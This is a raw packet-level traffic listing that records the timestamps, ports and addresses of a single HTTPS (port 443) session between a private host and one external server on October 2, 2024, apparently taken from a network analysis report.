Oct 2, 2024 06:10:26.658437014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.658446074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.658490896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659172058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659226894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659246922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659255981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659275055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659297943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659636021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659679890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659713984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659720898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.659746885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.659765005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.661494017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.661562920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.661566019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.661595106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.661629915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.661644936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.669619083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.669661045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.669698954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.669706106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.669734955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.669748068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.672596931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.672646999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.672678947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.672688007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.672717094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.672734022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.673054934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.673099041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.673130989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.673135996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.673161983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.673182964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.673962116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.674006939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.674036980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.674042940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.674068928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.674087048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.746654034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.746699095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.746876955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.746876955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.746891975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747086048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747138977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747200012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747210026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747225046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747260094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747279882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747678041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747720957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747756958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747762918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.747790098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.747812033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.749804974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.749846935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.749881029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.749890089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.749916077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.749931097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.757859945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.757901907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.757935047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.757941961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.757966042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.757985115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.761432886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.761476994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.761526108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.761534929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.761590004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.761882067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.761924028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.761944056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.761948109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.761975050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.762021065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.762037039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.762561083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.762602091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.762628078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.762634993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.762659073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.762677908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.835141897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.835187912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.835231066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.835241079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.835252047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.835561037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.835978985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836021900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836042881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.836050034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836086035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.836193085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836241007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836257935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.836266041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.836296082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.836314917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.838469028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.838514090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.838542938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.838556051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.838582039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.838596106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.846357107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.846414089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.846446037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.846453905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.846482038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.846498013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.849630117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.849673986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.849709034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.849715948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.849746943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.849766016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.850063086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.850106001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.850194931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.850200891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.850250959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.851001978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.851079941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.851155043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.851223946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.923811913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.923856020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.923908949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.923917055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924115896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924115896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924335957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924377918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924405098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924411058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924439907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924458981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924704075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924746037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924774885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924781084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.924814939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.924827099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.927273035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.927315950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.927342892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.927349091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.927376032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.927397013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.935010910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.935061932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.935102940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.935112000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.935134888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.935157061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938198090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938241005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938270092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938276052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938308001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938314915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938551903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938595057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938623905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938630104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.938657999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.938671112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.939589024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.939632893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.939666986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.939672947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.939701080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.939713001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.012491941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.012536049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.012686014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.012686014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.012695074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.012967110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013045073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013086081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013114929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013129950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013145924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013200998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013580084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013622999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013647079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013653994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.013681889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.013700962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.015782118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.015839100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.015880108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.015887022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.015923023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.015938044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.023752928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.023794889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.023861885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.023869991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.023916960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.023925066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.026571989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.026617050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.026654959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.026669025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.026679993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.026712894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.027177095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.027252913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.027270079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.027349949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.028167963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.028212070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.028247118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.028258085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.028292894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.028292894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.114784956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.114830017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.114981890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.114981890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.114995956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115087986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115209103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115250111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115276098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115282059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115307093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115320921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115822077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115864038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115899086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115905046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.115931034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115947008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.115967035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.116008997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.116035938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.116041899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.116065025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.116070986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.117631912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.117676973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.117707014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.117722034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.117737055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.117770910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.119560003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.119606972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.119631052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.119637966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.119666100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.119678974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120413065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120455980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120491028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120496988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120524883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120547056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120570898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120615959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120639086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120645046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.120667934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.120672941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190309048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190352917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190399885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190418005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190449953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190474987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190619946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190660954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190682888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190689087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.190722942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.190731049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.191020966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.191098928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.191135883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.191203117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.192811966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.192857981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.193036079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.193043947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.193129063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.201098919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.201143026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.201178074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.201184988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.201211929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.201230049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.203821898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.203901052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.203913927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.203984976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.204488039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.204530954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.204559088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.204566002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.204596043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.204617023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.205390930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.205432892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.205466032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.205471992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.205501080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.205513954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.278686047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.278732061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.278891087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.278891087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.278898954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279047012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279050112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279076099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279114962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279129028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279138088 CEST	49715	443	192.168.2.5	167.114.14.168
